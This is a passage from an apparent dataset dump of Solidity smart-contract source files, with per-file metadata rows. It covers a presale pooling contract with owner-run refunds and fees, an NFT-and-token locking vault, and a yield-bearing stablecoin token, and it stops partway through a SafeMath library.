uint256 public max_amount; //0 means there is no limit
uint256 public min_amount;
//Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens = false;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
//Set by the owner in order to allow the withdrawal of bonus tokens.
bool bonus_received;
//The address of the contact.
address public sale;
//Token address
ERC20 public token;
//Records the fees that have to be sent
uint256 fees;
//Set by the owner. Allows people to refund totally or partially.
bool public allow_refunds;
//The reduction of the allocation in % | example : 40 -> 40% reduction
uint256 percent_reduction;
//Internal functions
function Moongang(uint256 max, uint256 min, uint256 cap) {
owner = msg.sender;
max_amount = max;
min_amount = min;
individual_cap = cap;
}
//Functions for the owner
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
require(!bought_tokens);
//Avoids burning the funds
require(sale != 0x0);
//Record that the contract has bought the tokens.
bought_tokens = true;
//Sends the fee before so the contract_eth_value contains the correct balance
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
owner.transfer(SafeMath.sub(fees, dev_fee));
developer.transfer(dev_fee);
//Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
// Transfer all the funds to the crowdsale address.
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(allow_refunds && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
//We have to take in account the partial refund of the fee too if the tokens weren't bought yet
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[_to_refund] = SafeMath.sub(balances[_to_refund], eth_to_withdraw);
balances_bonus[_to_refund] = balances[_to_refund];
_to_refund.transfer(eth_to_withdraw);
}
function set_sale_address(address _sale) onlyOwner {
//Avoid mistake of putting 0x0 and can't change twice the sale address
require(_sale != 0x0 && sale == 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
allow_refunds = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner {
percent_reduction = _reduction;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
max_amount = _amount;
}
function change_min_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
min_amount = _amount;
}
//Public functions
// Allows any user to withdraw his tokens.
function withdraw() {
// Disallow withdraw if tokens haven't been bought yet.
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
// Update the value of tokens currently held by the contract.
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
// Update the user's balance prior to sending to prevent recursive call.
balances[msg.sender] = 0;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
// Allows any user to get his eth refunded before the purchase is made.
function refund() {
require(allow_refunds && percent_reduction == 0);
//balance of contributor = contribution * 0.99
//so contribution = balance/0.99
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
//Updates the balances_bonus too
balances_bonus[msg.sender] = 0;
//Updates the fees variable by substracting the refunded fee
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_to_withdraw);
}
//Allows any user to get a part of his ETH refunded, in proportion
//to the % reduced of the allocation
function partial_refund() {
require(allow_refunds && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
//We have to take in account the partial refund of the fee too if the tokens weren't bought yet
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], eth_to_withdraw);
balances_bonus[msg.sender] = balances[msg.sender];
msg.sender.transfer(eth_to_withdraw);
}
// Default function. Called when a user sends ETH to the contract.
function () payable underMaxAmount {
require(!bought_tokens);
//1% fee is taken on the ETH
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
//Updates both of the balances
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
//Checks if the individual cap is respected
//If it's not, changes are reverted
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
}
| 145,889 | 13,254 |
501f82b3e88759990066180211e4ef7ca6d28e7412fbbda824306097660191bd
| 25,305 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c9/c9244b42c0c81d8fd756a678a5b33f7b22929ee0_SamuraiVaults.sol
| 3,413 | 11,852 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
//
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
//
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
//
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
//
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
interface IERC721 is IERC165 {
event Transfer(address indexed from,
address indexed to,
uint256 indexed tokenId);
event Approval(address indexed owner,
address indexed approved,
uint256 indexed tokenId);
event ApprovalForAll(address indexed owner,
address indexed operator,
bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol)
//
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
//
interface IvexHnr {
function mint(uint256 amount, address depositor) external;
}
contract SamuraiVaults is Ownable, ReentrancyGuard {
uint256 public depositAmount;
uint256 public minimumNodes;
uint256 public targetBlockNumber;
uint256 public maxNodes;
uint256 public depositedNodes;
uint256 public boostedRewardRate;
uint256 public vexHnrAmount;
IERC20 public xHnr;
IERC721 public hnrNodes;
IvexHnr public vexHnr;
struct Vault {
uint256[] nodeIds;
uint256 depositAmount;
uint256 lockedAtBlockNumber;
uint256 unlockReward;
// this is just a flag for a require statement check
bool isValid;
bool isClaimed;
}
mapping(address => Vault) public depositors;
using SafeMath for uint256;
constructor(address _xHnr,
address _hnrNodes,
address _vexHnr,
uint256 _baseDeposit,
uint256 _baseRewardRate,
uint256 _maxNodes,
uint256 _minimumNodes,
uint256 _vexHnrAmount) {
xHnr = IERC20(_xHnr);
hnrNodes = IERC721(_hnrNodes);
vexHnr = IvexHnr(_vexHnr);
uint256 pow = 10**18;
uint256 rewardPow = 10**16;
// amount of xHNR that must be deposited
depositAmount = _baseDeposit.mul(pow);
// reward rate for each passing block
boostedRewardRate = _baseRewardRate.mul(rewardPow);
// amount of minimum nodes which must be locked
minimumNodes = _minimumNodes;
// amount of maximum nodes which can be deposited
maxNodes = _maxNodes;
// amount of vexHNR
vexHnrAmount = _vexHnrAmount;
// this is roughly 6 years
targetBlockNumber = block.number + 170_000_000;
depositedNodes = 0;
}
modifier ownsAll(uint256[] calldata _tokenIds, bool isContractOwner) {
uint256 arrSize = _tokenIds.length;
address tokenOwner = isContractOwner ? address(this) : msg.sender;
for (uint256 i = 0; i < arrSize; i = uncheckedIncrement(i)) {
require(hnrNodes.ownerOf(_tokenIds[i]) == tokenOwner,
isContractOwner
? "Contract: token ID unavailable"
: "Owner: not an owner!");
}
_;
}
function lock(uint256[] calldata _tokenIds)
external
nonReentrant
ownsAll(_tokenIds, false)
{
// add to struct
require(depositedNodes + minimumNodes <= maxNodes,
"Contract: Max Vaults reached!");
require(depositAmount <= xHnr.balanceOf(msg.sender),
"Contract: Not enough funds!");
require(_tokenIds.length == minimumNodes, "Contract: Not enough nodes!");
// could run out of gas fees if not true
Vault memory senderVault = depositors[msg.sender];
require(senderVault.isValid == false, "Contract: Wallet already locked!");
batchTransfer(_tokenIds, true);
xHnr.transferFrom(msg.sender, address(this), depositAmount);
uint256 lockedAt = block.number;
uint256 unlockReward = (targetBlockNumber - lockedAt) * boostedRewardRate;
depositors[msg.sender] = Vault(_tokenIds,
depositAmount,
lockedAt,
unlockReward,
true,
false);
// increment the node count
depositedNodes += minimumNodes;
}
function unlock() external nonReentrant {
require(targetBlockNumber < block.number, "Contract: Cannot be unlocked!");
Vault storage senderVault = depositors[msg.sender];
require(senderVault.isValid, "Contract: No Vault!");
// block future claiming
senderVault.isValid = false;
batchTransfer(senderVault.nodeIds, false);
xHnr.transfer(msg.sender,
senderVault.unlockReward + senderVault.depositAmount);
}
function claim() external nonReentrant {
Vault storage senderVault = depositors[msg.sender];
require(senderVault.isValid, "Contract: Not a depositor!");
require(senderVault.isClaimed == false, "Contract: Already claimed!");
senderVault.isClaimed = true;
vexHnr.mint(vexHnrAmount * 10**18, msg.sender);
}
function remainingBlocks() external view returns (uint256) {
return targetBlockNumber - block.number;
}
function getVaultNodeCount() external view returns (uint256) {
return depositedNodes;
}
function batchTransfer(uint256[] memory _tokenIds, bool isLock) internal {
uint256 length = _tokenIds.length;
address sender = msg.sender;
address contractAddress = address(this);
for (uint256 i = 0; i < length; i = uncheckedIncrement(i)) {
isLock
? hnrNodes.transferFrom(sender, contractAddress, _tokenIds[i])
: hnrNodes.transferFrom(contractAddress, sender, _tokenIds[i]);
}
}
// gas optimisation
function uncheckedIncrement(uint256 i) internal pure returns (uint256) {
unchecked {
return i + 1;
}
}
}
| 323,310 | 13,255 |
0bc2c4e0f0570a06e9e865e8f6ca0a8d09bd300b8f90bc75128a90e7818ce682
| 28,714 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ca/CaB2C0A41556149330F4223C9b76d93C610DAfE6_USDG.sol
| 4,277 | 17,250 |
pragma solidity 0.6.12;
interface IUSDG {
function addVault(address _vault) external;
function removeVault(address _vault) external;
function mint(address _account, uint256 _amount) external;
function burn(address _account, uint256 _amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IYieldTracker {
function claim(address _account, address _receiver) external returns (uint256);
function updateRewards(address _account) external;
function getTokensPerInterval() external view returns (uint256);
function claimable(address _account) external view returns (uint256);
}
interface IYieldToken {
function totalStaked() external view returns (uint256);
function stakedBalance(address _account) external view returns (uint256);
function removeAdmin(address _account) external;
}
contract YieldToken is IERC20, IYieldToken {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public override totalSupply;
uint256 public nonStakingSupply;
address public gov;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
address[] public yieldTrackers;
mapping (address => bool) public nonStakingAccounts;
mapping (address => bool) public admins;
bool public inWhitelistMode;
mapping (address => bool) public whitelistedHandlers;
modifier onlyGov() {
require(msg.sender == gov, "YieldToken: forbidden");
_;
}
modifier onlyAdmin() {
require(admins[msg.sender], "YieldToken: forbidden");
_;
}
constructor(string memory _name, string memory _symbol, uint256 _initialSupply) public {
name = _name;
symbol = _symbol;
gov = msg.sender;
admins[msg.sender] = true;
_mint(msg.sender, _initialSupply);
}
function setGov(address _gov) external onlyGov {
gov = _gov;
}
function setInfo(string memory _name, string memory _symbol) external onlyGov {
name = _name;
symbol = _symbol;
}
function setYieldTrackers(address[] memory _yieldTrackers) external onlyGov {
yieldTrackers = _yieldTrackers;
}
function addAdmin(address _account) external onlyGov {
admins[_account] = true;
}
function removeAdmin(address _account) external override onlyGov {
admins[_account] = false;
}
// to help users who accidentally send their tokens to this contract
function withdrawToken(address _token, address _account, uint256 _amount) external onlyGov {
IERC20(_token).safeTransfer(_account, _amount);
}
function setInWhitelistMode(bool _inWhitelistMode) external onlyGov {
inWhitelistMode = _inWhitelistMode;
}
function setWhitelistedHandler(address _handler, bool _isWhitelisted) external onlyGov {
whitelistedHandlers[_handler] = _isWhitelisted;
}
function addNonStakingAccount(address _account) external onlyAdmin {
require(!nonStakingAccounts[_account], "YieldToken: _account already marked");
_updateRewards(_account);
nonStakingAccounts[_account] = true;
nonStakingSupply = nonStakingSupply.add(balances[_account]);
}
function removeNonStakingAccount(address _account) external onlyAdmin {
require(nonStakingAccounts[_account], "YieldToken: _account not marked");
_updateRewards(_account);
nonStakingAccounts[_account] = false;
nonStakingSupply = nonStakingSupply.sub(balances[_account]);
}
function recoverClaim(address _account, address _receiver) external onlyAdmin {
for (uint256 i = 0; i < yieldTrackers.length; i++) {
address yieldTracker = yieldTrackers[i];
IYieldTracker(yieldTracker).claim(_account, _receiver);
}
}
function claim(address _receiver) external {
for (uint256 i = 0; i < yieldTrackers.length; i++) {
address yieldTracker = yieldTrackers[i];
IYieldTracker(yieldTracker).claim(msg.sender, _receiver);
}
}
function totalStaked() external view override returns (uint256) {
return totalSupply.sub(nonStakingSupply);
}
function balanceOf(address _account) external view override returns (uint256) {
return balances[_account];
}
function stakedBalance(address _account) external view override returns (uint256) {
if (nonStakingAccounts[_account]) {
return 0;
}
return balances[_account];
}
function transfer(address _recipient, uint256 _amount) external override returns (bool) {
_transfer(msg.sender, _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) external view override returns (uint256) {
return allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) external override returns (bool) {
_approve(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) external override returns (bool) {
uint256 nextAllowance = allowances[_sender][msg.sender].sub(_amount, "YieldToken: transfer amount exceeds allowance");
_approve(_sender, msg.sender, nextAllowance);
_transfer(_sender, _recipient, _amount);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != address(0), "YieldToken: mint to the zero address");
_updateRewards(_account);
totalSupply = totalSupply.add(_amount);
balances[_account] = balances[_account].add(_amount);
if (nonStakingAccounts[_account]) {
nonStakingSupply = nonStakingSupply.add(_amount);
}
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint256 _amount) internal {
require(_account != address(0), "YieldToken: burn from the zero address");
_updateRewards(_account);
balances[_account] = balances[_account].sub(_amount, "YieldToken: burn amount exceeds balance");
totalSupply = totalSupply.sub(_amount);
if (nonStakingAccounts[_account]) {
nonStakingSupply = nonStakingSupply.sub(_amount);
}
emit Transfer(_account, address(0), _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "YieldToken: transfer from the zero address");
require(_recipient != address(0), "YieldToken: transfer to the zero address");
if (inWhitelistMode) {
require(whitelistedHandlers[msg.sender], "YieldToken: msg.sender not whitelisted");
}
_updateRewards(_sender);
_updateRewards(_recipient);
balances[_sender] = balances[_sender].sub(_amount, "YieldToken: transfer amount exceeds balance");
balances[_recipient] = balances[_recipient].add(_amount);
if (nonStakingAccounts[_sender]) {
nonStakingSupply = nonStakingSupply.sub(_amount);
}
if (nonStakingAccounts[_recipient]) {
nonStakingSupply = nonStakingSupply.add(_amount);
}
emit Transfer(_sender, _recipient,_amount);
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "YieldToken: approve from the zero address");
require(_spender != address(0), "YieldToken: approve to the zero address");
allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _updateRewards(address _account) private {
for (uint256 i = 0; i < yieldTrackers.length; i++) {
address yieldTracker = yieldTrackers[i];
IYieldTracker(yieldTracker).updateRewards(_account);
}
}
}
contract USDG is YieldToken, IUSDG {
mapping (address => bool) public vaults;
modifier onlyVault() {
require(vaults[msg.sender], "USDM: forbidden");
_;
}
constructor(address _vault) public YieldToken("USD Mummy", "USDM", 0) {
vaults[_vault] = true;
}
function addVault(address _vault) external override onlyGov {
vaults[_vault] = true;
}
function removeVault(address _vault) external override onlyGov {
vaults[_vault] = false;
}
function mint(address _account, uint256 _amount) external override onlyVault {
_mint(_account, _amount);
}
function burn(address _account, uint256 _amount) external override onlyVault {
_burn(_account, _amount);
}
}
| 319,024 | 13,256 |
0e17fe753d8d1b2b1a70ae6c7ec51a67cdea227bb389f7172a9020f1746b9f28
| 22,037 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xbca23d091af20516814f4431cf75ac590d17bcce.sol
| 5,945 | 21,366 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IDotTokenContract{
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
